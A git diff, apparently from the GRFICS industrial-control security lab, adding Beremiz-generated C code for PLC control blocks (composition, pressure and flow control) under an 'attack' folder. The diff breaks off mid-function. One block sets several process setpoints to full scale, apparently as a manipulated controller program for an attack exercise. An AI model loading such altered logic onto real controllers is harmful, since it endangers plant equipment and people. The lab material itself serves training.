+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + 